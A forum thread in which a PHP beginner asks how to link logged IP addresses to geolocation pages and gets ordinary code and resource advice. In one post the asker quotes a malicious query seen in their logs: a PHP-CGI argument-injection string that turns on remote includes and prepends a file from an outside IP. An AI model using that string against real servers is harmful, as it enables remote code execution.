Mysql column with IP addresses to geo locations

Hi,

I have a column with IP addresses that I want to make active with URL to see where in the World it comes from, GEO location. That I mean is when I run the report it would be easy if I could click on the IP address and a web page displays its location.

Is it possible to do this and if, how?

Thank you.

Fjebja
LVL 1
Bjarte FjellandAsked:
Who is Participating?
I wear a lot of hats...

"The solutions and answers provided on Experts Exchange have been extremely helpful to me over the last few years. I wear a lot of hats - Developer, Database Administrator, Help Desk, etc., so I know a lot of things but not a lot about one thing. Experts Exchange gives me answers from people who do know a lot about one thing, in a easy to use platform." -Todd S.

Tomas Helgi JohannssonCommented:
Hi!

If your table as a column with IP addresses, you could download and install into mysql some GeoIP database which you can do some simple join to get the Long/Lat info for that IP address or IP address range which you then present in an web page.

GeoLite is a free GeoIP database available for download
dev.maxmind.com/geoip/legacy/geolite/

and there are many other GeoIP MySQL databases on the web as well as GeoIP lookup services which you could join into your web page if you want to go that way in your web design.

Regards,
     Tomas Helgi
0
Ray PaseurCommented:
I have also used geoio.com but only tested it with USA locations.  It worked well, especially when combined with Google Static Maps.  You need to get your own API key for their service, and it is available for free.
Please see http://www.laprbass.com/RAY_geoio_example.php

<?php // RAY_geoio_example.php
error_reporting(E_ALL);


// GET INFORMATION ABOUT YOUR SITE VISITORS LOCATION FROM GEOIO.COM
// MAN PAGE: http://www.iana.org/numbers/


// THIS IS THE URL FOR THE API
$key = 'YOU MUST GET YOUR OWN APIKEY';
$url = "http://api.geoio.com/q.php?key=$key&qt=geoip&d=pipe&q=";

// THIS IS THE CLIENT IP ADDRESS (ALMOST ALWAYS)
$ipa = $_SERVER["REMOTE_ADDR"];
$dat = file_get_contents($url . $ipa);
$inf = explode('|', $dat);

// SHOW WHAT WE GOT
echo "<pre>";
echo PHP_EOL . "CITY: $inf[0] ";
echo PHP_EOL . "STATE: $inf[1] ";
echo PHP_EOL . "COUNTRY: $inf[2] ";
echo PHP_EOL . "CARRIER: $inf[3] ";
echo PHP_EOL . "LAT: $inf[4] ";
echo PHP_EOL . "LON: $inf[5] ";

// SHOW A GOOGLE MAP OF WHAT WE GOT
$lnk = "<a target='_blank' href='http://maps.google.com/maps?f=q&source=s_q&hl=en&q=$inf[4],$inf[5]'>MAP: $inf[4],$inf[5]</a>";
echo PHP_EOL . $lnk;

Open in new window

0
Newly released Acronis True Image 2019

In announcing the release of the 15th Anniversary Edition of Acronis True Image 2019, the company revealed that its artificial intelligence-based anti-ransomware technology – stopped more than 200,000 ransomware attacks on 150,000 customers last year.

Bjarte FjellandAuthor Commented:
I found the solution that works for me :o)

Im just 'still' starting to learn PhP and Mysql, but I have a loong way to go.
I borrowed IP tracker script from Solarisedesign to start with and included it into my index.php.

It didn't take long before an unknown IP was accessing my index.php with this query:

-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt

Open in new window

Then a few more came without the query.
I Googled it and that's where I thought of linking the IPs to a Geo location.

I have read and tried some suggestions, but I did not manage to get it to work without many php errors, that I did manage was to add href to the fetch query:

echo "<td><a href='https://ipdb.at/ip/$ip_list'>$ip_list</a>";

Open in new window


Here is the screen shot:
Report list
But I've made an account at geoio.com when I understand it Ill try using it.

Thanks!
0
Ray PaseurCommented:
Some good learning resources for PHP and MySQL are shown here:
http://www.experts-exchange.com/Web_Development/Web_Languages-Standards/PHP/A_11769-And-by-the-way-I-am-new-to-PHP.html

If you're looking at code samples that show the MySQL extension, look somewhere else!  PHP is doing away with the MySQL API.  This article tells why and maps the familiar MySQL functions to the newer MySQLi and PDO API.
http://www.experts-exchange.com/Web_Development/Web_Languages-Standards/PHP/PHP_Databases/A_11177-PHP-MySQL-Deprecated-as-of-PHP-5-5-0.html
0

Experts Exchange Solution brought to you by

Your issues matter to us.

Facing a tech roadblock? Get the help and guidance you need from experienced professionals who care. Ask your question anytime, anywhere, with no hassle.

Start your 7-day free trial
Bjarte FjellandAuthor Commented:
Hi Ray,

I've read the 'By the way I am New to PHP' and ordered the PHP & MYSQL NOVICE TO NINJA, 5th edition, paperback and PDF :o)

Thank you!

Fjebja
0
Ray PaseurCommented:
Thanks for the points.  The SitePoint book is pretty good, I'm sure you will both enjoy it and get a lot of value out of it.  Best regards, ~Ray
0
It's more than this solution.Get answers and train to solve all your tech problems - anytime, anywhere.Try it for free Edge Out The Competitionfor your dream job with proven skills and certifications.Get started today Stand Outas the employee with proven skills.Start learning today for free Move Your Career Forwardwith certification training in the latest technologies.Start your trial today
MySQL Server

From novice to tech pro — start learning today.